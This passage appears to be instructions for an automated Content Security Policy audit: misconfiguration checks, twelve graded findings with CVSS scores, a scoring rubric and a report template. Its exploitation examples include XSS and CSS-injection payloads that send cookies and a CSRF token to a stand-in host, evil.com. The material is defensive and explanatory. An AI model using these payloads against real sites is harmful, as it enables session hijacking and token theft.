Unquoted keywords (self instead of 'self', unsafe-inline instead of 'unsafe-inline')
Missing semicolons between directives
Duplicate directives (second is ignored)
Unknown directive names (typos)
Invalid nonce/hash format
Phase 3: Security Evaluation
Anti-Pattern Detection
For each finding, explain why the configuration is dangerous and provide an exploitation example showing how an attacker abuses it.
CSP-01 | unsafe-inline in script-src | Critical
Why: Completely defeats CSP's XSS protection. Any injection point becomes exploitable because the browser trusts all inline scripts.
<!-- Attacker injects via reflected/stored XSS: --><script>document.location='https://evil.com/?c='+document.cookie</script>
CSP-02 | unsafe-eval in script-src | High
Why: Allows string-to-code execution. Attackers use eval(), Function(), setTimeout(string), or setInterval(string) to run injected payloads even without inline script tags.
// Attacker exploits an injection point that flows into eval:eval('fetch("https://evil.com/?d="+document.cookie)')
CSP-03 | Wildcard * in script-src | Critical
Why: Permits script loading from any origin. Attacker hosts payload on any domain they control.
<scriptsrc="https://evil.com/steal.js"></script>
CSP-04 | data: in script-src | Critical
Why: Allows inline script execution via data URIs, bypassing host-based restrictions entirely.
CSP-05 | blob: in script-src | High
Why: Attacker creates executable blob URLs from injected inline code, bypassing script-src host allowlists.
// If attacker can inject any JS (e.g. via unsafe-eval or JSONP):var b = newBlob(["alert(document.domain)"], {type:"text/javascript"});
var u = URL.createObjectURL(b);
var s = document.createElement("script"); s.src = u; document.body.appendChild(s);
CSP-06 | Known bypass endpoint allowlisted | High
Why: Allowlisted CDNs/APIs often host JSONP endpoints or JavaScript libraries (like AngularJS) that let attackers execute arbitrary code while staying within the CSP allowlist.
CSP-07 | http: scheme in any directive | Medium
Why: Allows loading resources over unencrypted HTTP. A network attacker (MITM) can inject malicious scripts into HTTP responses.
# Attacker on same network intercepts HTTP script load and replaces content:
script-src http://cdn.example.com → MITM injects malicious JS in transit
CSP-08 | Overly broad host allowlist | Medium
Why: Each additional allowlisted host expands the attack surface. Any XSS, open redirect, or JSONP endpoint on those hosts becomes a CSP bypass vector. More hosts = higher probability one is exploitable.
CSP-09 | unsafe-inline in style-src | Low
Why: Enables CSS injection for data exfiltration. Attacker uses attribute selectors to leak sensitive content character-by-character.
<!-- Exfiltrate CSRF token via CSS injection: --><style>input[name="csrf"][value^="a"] { background: url("https://evil.com/?c=a"); }
input[name="csrf"][value^="b"] { background: url("https://evil.com/?c=b"); }
/* ... repeat for each character */</style>
CSP-10 | unsafe-hashes in script-src | Medium
Why: Allows execution of specific inline event handlers by hash. If the hashed handler contains injectable content (e.g. from a template), attacker can execute code through that handler.
CSP-11 | Wildcard subdomain *.example.com in script-src | Medium
Why: Any subdomain becomes a valid script source. Attacker exploiting XSS on a forgotten subdomain (staging, legacy app, user-generated-content subdomain) can serve scripts that the main site trusts.
<!-- Attacker compromises legacy.example.com and serves: --><scriptsrc="https://legacy.example.com/evil.js"></script>
CSP-12 | object-src allows plugins | High
Why: Permits <object> and <embed> tags to load plugin content. Attacker embeds a malicious Flash SWF or PDF that executes JavaScript in the page context.
CVSS 4.0 typically scores lower than 3.1 for conditional findings. Both versions provided for customer compatibility.
Score Adjustment Guidance:
Known injection point exists: upgrade AC:H → AC:L (3.1) or AT:P → AT:N (4.0) for conditional findings
Internal-only app: reduce AV to A (Adjacent) if not internet-facing
API-only (no browser UI): reduce impact metrics if session hijacking not applicable
High-value target (banking, healthcare): consider Supplemental metrics in CVSS 4.0
Phase 4: Strength Scoring
Start at 100. Deduct per finding:
Severity
Deduction per finding
Critical
-25
High
-15
Medium
-5
Low
-2
Bonus points (max +20):
Bonus
Points
Nonce-based script-src
+5
strict-dynamic present
+5
Trusted Types enabled
+5
Reporting configured
+3
upgrade-insecure-requests
+2
Score interpretation:
Grade
Score
Meaning
A
90-100
Strong CSP, minor improvements possible
B
75-89
Good CSP, some gaps to address
C
50-74
Moderate CSP, significant weaknesses
D
25-49
Weak CSP, major risks present
F
0-24
Ineffective CSP, provides minimal protection
Floor at 0. Cap at 100.
Phase 5: Report Generation
Reporting requirement: Every finding MUST include:
CVSS scores — both 3.1 and 4.0 with full vector strings (use reference profiles from Phase 3, adjust per guidance)
Why the directive/value is dangerous (the specific security property it breaks)
How an attacker exploits it (concrete HTML/JS payload or attack scenario)
What to do about it (specific CSP change with example syntax)
Do not report generic risk labels alone. A developer reading the report should understand the exact attack vector without needing to look anything up.
Generate this report structure:
# CSP Analysis Report**Target:** {URL/domain/raw}
**Date:** {date}
**CSP Source:** {Response header | Meta tag | Raw input}
**CSP Level:** {1 | 2 | 3}
**Score:** {score}/100 (Grade {A-F})
## Raw Policy
{full CSP string}
## Parsed Directives
| Directive | Values |
|-----------|--------|
| default-src | 'self' |
| script-src | 'self' 'unsafe-inline' cdn.example.com |
| ... | ... |
## Findings
### Critical
#### [CSP-01] `unsafe-inline` in script-src
**Directive:** `script-src` | **Value:** `'unsafe-inline'`
**CVSS 3.1:** 9.3 (`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`)
**CVSS 4.0:** ~9.2 (`AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`)
**Why this is dangerous:** Completely defeats CSP's XSS protection. The browser trusts all inline scripts, so any injection point becomes directly exploitable.
**Exploitation example:**
```html
<script>fetch('https://evil.com/?c='+document.cookie)</script>
Recommendation: Remove unsafe-inline. Use nonce-based CSP ('nonce-{random}') or hash-based CSP ('sha256-...'). Add 'strict-dynamic' to propagate trust to scripts loaded by nonced scripts.
{Repeat for each finding per severity tier: High, Medium, Low.
Each finding MUST include: CVSS 3.1 + 4.0 with vectors, Why dangerous, Exploitation example, and Recommendation.}